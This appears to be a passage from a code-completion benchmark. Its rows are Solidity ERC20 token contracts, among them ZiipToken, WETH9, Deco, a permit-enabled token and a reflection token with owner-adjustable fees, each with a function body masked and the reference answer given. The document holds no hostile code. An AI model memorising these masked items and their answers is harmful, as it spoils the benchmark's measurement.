bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_PrincipalProtectionWalletAddress.transfer(amount.div(2));
_YieldFarmingWalletAddress.transfer(amount.div(2));
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function BridgingSetMaxTx(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount <= 1000000000000 * 10**9, 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} |
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
| function includeAccount(address account) external onlyOwner() | function includeAccount(address account) external onlyOwner() |
26630 | ZiipToken | transferFrom | contract ZiipToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ZiipToken() public {
symbol = "ZIPT";
name = "ZiipToken";
decimals = 18;
_totalSupply = 70000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract ZiipToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ZiipToken() public {
symbol = "ZIPT";
name = "ZiipToken";
decimals = 18;
_totalSupply = 70000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
82013 | WETH9 | transfer | contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
receive() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint256 wad) public returns (bool) {<FILL_FUNCTION_BODY> }
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
} | contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
receive() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint256) {
return address(this).balance;
}
function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
<FILL_FUNCTION>
function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint256(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
} |
return transferFrom(msg.sender, dst, wad);
| function transfer(address dst, uint256 wad) public returns (bool) | function transfer(address dst, uint256 wad) public returns (bool) |
73780 | Deco | transferFrom | contract Deco is ERC20ERC223 {
using SafeMath for uint256;
string public constant name = "Deco";
string public constant symbol = "DEC";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 6*10**26; // 600,000,000. 000,000,000,000,000,000 units
// Accounts
mapping(address => Account) private accounts;
struct Account {
uint256 balance;
mapping(address => uint256) allowed;
mapping(address => bool) isAllowanceAuthorized;
}
// Fix for the ERC20 short address attack.
// http://vessenes.com/the-erc20-short-address-attack-explained/
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
// Initialization
function Deco() {
accounts[msg.sender].balance = totalSupply;
Transfer(this, msg.sender, totalSupply);
}
// Balance
function balanceOf(address _owner) constant returns (uint256) {
return accounts[_owner].balance;
}
// Transfers
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, "");
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value, bytes _data) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {<FILL_FUNCTION_BODY> }
function performTransfer(address _from, address _to, uint256 _value, bytes _data) private returns (bool) {
require(_to != 0x0);
accounts[_from].balance = accounts[_from].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _value, _data);
}
return true;
}
function isContract(address _to) private constant returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
return codeLength > 0;
}
// Approval & Allowance
function approve(address _spender, uint256 _value) returns (bool) {
require(msg.sender != _spender);
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (accounts[msg.sender].allowed[_spender] != 0)) {
revert();
return false;
}
accounts[msg.sender].allowed[_spender] = _value;
accounts[msg.sender].isAllowanceAuthorized[_spender] = true;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return accounts[_owner].allowed[_spender];
}
function hasApproval(address _owner, address _spender) constant returns (bool) {
return accounts[_owner].isAllowanceAuthorized[_spender];
}
function removeApproval(address _spender) {
delete(accounts[msg.sender].allowed[_spender]);
accounts[msg.sender].isAllowanceAuthorized[_spender] = false;
}
} | contract Deco is ERC20ERC223 {
using SafeMath for uint256;
string public constant name = "Deco";
string public constant symbol = "DEC";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 6*10**26; // 600,000,000. 000,000,000,000,000,000 units
// Accounts
mapping(address => Account) private accounts;
struct Account {
uint256 balance;
mapping(address => uint256) allowed;
mapping(address => bool) isAllowanceAuthorized;
}
// Fix for the ERC20 short address attack.
// http://vessenes.com/the-erc20-short-address-attack-explained/
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length >= size + 4);
_;
}
// Initialization
function Deco() {
accounts[msg.sender].balance = totalSupply;
Transfer(this, msg.sender, totalSupply);
}
// Balance
function balanceOf(address _owner) constant returns (uint256) {
return accounts[_owner].balance;
}
// Transfers
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, "");
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value, bytes _data) onlyPayloadSize(2 * 32) returns (bool) {
performTransfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
<FILL_FUNCTION>
function performTransfer(address _from, address _to, uint256 _value, bytes _data) private returns (bool) {
require(_to != 0x0);
accounts[_from].balance = accounts[_from].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _value, _data);
}
return true;
}
function isContract(address _to) private constant returns (bool) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
return codeLength > 0;
}
// Approval & Allowance
function approve(address _spender, uint256 _value) returns (bool) {
require(msg.sender != _spender);
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (accounts[msg.sender].allowed[_spender] != 0)) {
revert();
return false;
}
accounts[msg.sender].allowed[_spender] = _value;
accounts[msg.sender].isAllowanceAuthorized[_spender] = true;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return accounts[_owner].allowed[_spender];
}
function hasApproval(address _owner, address _spender) constant returns (bool) {
return accounts[_owner].isAllowanceAuthorized[_spender];
}
function removeApproval(address _spender) {
delete(accounts[msg.sender].allowed[_spender]);
accounts[msg.sender].isAllowanceAuthorized[_spender] = false;
}
} |
require(hasApproval(_from, msg.sender));
uint256 _allowed = accounts[_from].allowed[msg.sender];
performTransfer(_from, _to, _value, "");
accounts[_from].allowed[msg.sender] = _allowed.sub(_value);
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) | function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) |
43505 | ERC20 | permit | contract ERC20 {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) public auth { wards[usr] = 1; }
function deny(address usr) public auth { wards[usr] = 0; }
modifier auth { require(wards[msg.sender] == 1); _; }
// --- ERC20 Data ---
uint8 public constant decimals = 18;
string public name;
string public symbol;
string public constant version = "1";
uint256 public totalSupply;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed usr, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function safeAdd_(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-add-overflow");
}
function safeSub_(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "math-sub-underflow");
}
constructor(string memory symbol_, string memory name_) {
wards[msg.sender] = 1;
symbol = symbol_;
name = name_;
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
// --- ERC20 ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public virtual returns (bool)
{
require(balanceOf[src] >= wad, "cent/insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad, "cent/insufficient-allowance");
allowance[src][msg.sender] = safeSub_(allowance[src][msg.sender], wad);
}
balanceOf[src] = safeSub_(balanceOf[src], wad);
balanceOf[dst] = safeAdd_(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function mint(address usr, uint wad) external virtual auth {
balanceOf[usr] = safeAdd_(balanceOf[usr], wad);
totalSupply = safeAdd_(totalSupply, wad);
emit Transfer(address(0), usr, wad);
}
function burn(address usr, uint wad) public {
require(balanceOf[usr] >= wad, "cent/insufficient-balance");
if (usr != msg.sender && allowance[usr][msg.sender] != type(uint256).max) {
require(allowance[usr][msg.sender] >= wad, "cent/insufficient-allowance");
allowance[usr][msg.sender] = safeSub_(allowance[usr][msg.sender], wad);
}
balanceOf[usr] = safeSub_(balanceOf[usr], wad);
totalSupply = safeSub_(totalSupply, wad);
emit Transfer(usr, address(0), wad);
}
function approve(address usr, uint wad) external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
// --- Alias ---
function push(address usr, uint wad) external {
transferFrom(msg.sender, usr, wad);
}
function pull(address usr, uint wad) external {
transferFrom(usr, msg.sender, wad);
}
function move(address src, address dst, uint wad) external {
transferFrom(src, dst, wad);
}
function burnFrom(address usr, uint wad) external {
burn(usr, wad);
}
// --- Approve by signature ---
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {<FILL_FUNCTION_BODY> }
} | contract ERC20 {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) public auth { wards[usr] = 1; }
function deny(address usr) public auth { wards[usr] = 0; }
modifier auth { require(wards[msg.sender] == 1); _; }
// --- ERC20 Data ---
uint8 public constant decimals = 18;
string public name;
string public symbol;
string public constant version = "1";
uint256 public totalSupply;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed usr, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function safeAdd_(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "math-add-overflow");
}
function safeSub_(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "math-sub-underflow");
}
constructor(string memory symbol_, string memory name_) {
wards[msg.sender] = 1;
symbol = symbol_;
name = name_;
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId,
address(this)
)
);
}
// --- ERC20 ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public virtual returns (bool)
{
require(balanceOf[src] >= wad, "cent/insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad, "cent/insufficient-allowance");
allowance[src][msg.sender] = safeSub_(allowance[src][msg.sender], wad);
}
balanceOf[src] = safeSub_(balanceOf[src], wad);
balanceOf[dst] = safeAdd_(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function mint(address usr, uint wad) external virtual auth {
balanceOf[usr] = safeAdd_(balanceOf[usr], wad);
totalSupply = safeAdd_(totalSupply, wad);
emit Transfer(address(0), usr, wad);
}
function burn(address usr, uint wad) public {
require(balanceOf[usr] >= wad, "cent/insufficient-balance");
if (usr != msg.sender && allowance[usr][msg.sender] != type(uint256).max) {
require(allowance[usr][msg.sender] >= wad, "cent/insufficient-allowance");
allowance[usr][msg.sender] = safeSub_(allowance[usr][msg.sender], wad);
}
balanceOf[usr] = safeSub_(balanceOf[usr], wad);
totalSupply = safeSub_(totalSupply, wad);
emit Transfer(usr, address(0), wad);
}
function approve(address usr, uint wad) external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
// --- Alias ---
function push(address usr, uint wad) external {
transferFrom(msg.sender, usr, wad);
}
function pull(address usr, uint wad) external {
transferFrom(usr, msg.sender, wad);
}
function move(address src, address dst, uint wad) external {
transferFrom(src, dst, wad);
}
function burnFrom(address usr, uint wad) external {
burn(usr, wad);
}
<FILL_FUNCTION>
} |
require(deadline >= block.timestamp, 'cent/past-deadline');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'cent-erc20/invalid-sig');
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
| function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external | // --- Approve by signature ---
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external |
3032 | Token | _burn | contract Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "CTS";
name = "CTSTOKEN";
decimals = 18;
_totalSupply = 3000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
